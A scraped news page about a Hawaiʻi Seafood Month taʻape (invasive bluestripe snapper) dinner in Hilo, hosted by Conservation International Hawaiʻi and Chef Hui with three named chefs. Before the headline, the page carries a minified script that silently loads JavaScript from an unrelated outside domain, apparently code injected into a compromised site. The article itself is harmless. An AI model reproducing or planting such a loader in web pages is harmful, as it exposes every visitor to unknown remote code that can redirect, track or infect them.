;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Hawaiʻi Seafood Month Dinner Series Part III w/ Chefs Mark Pomaski, Jayson Kanekoa, & Ocean Kanekoa - Latest Health & Environment News from MotherNature.com

Home Conservation Hawaiʻi Seafood Month Dinner Series Part III w/ Chefs Mark Pomaski, Jayson...

Conservation

Hawaiʻi Seafood Month Dinner Series Part III w/ Chefs Mark Pomaski, Jayson Kanekoa, & Ocean Kanekoa

By

-

January 6, 2022

1093

Conservation International Hawaiʻi and Chef Hui teamed up with Chefs Mark Pomaski, Jayson Kanekoa, and Ocean Kanekoa to celebrate Hawaiʻi Seafood Month with an exciting five-course taʻape dinner at Moon & Turtle in Hilo, Hawaiʻi on October 30th to encourage locals and visitors to eat the invasive bluestripe snapper species. The evening honored the local fishers, seafood businesses and the chefs committed to supporting local sustainable seafood throughout Hawaiʻi.

LEARN MORE
https://www.chefhui.com/sustainable-seafood

FOLLOW CI HAWAII ON SOCIAL
Instagram: https://www.instagram.com/ci_hawaii
Facebook: https://www.facebook.com/CI.Hawaii

#EatMoreTaape
#HISeafoodMonth

LEAVE A REPLY Cancel reply

MORE STORIES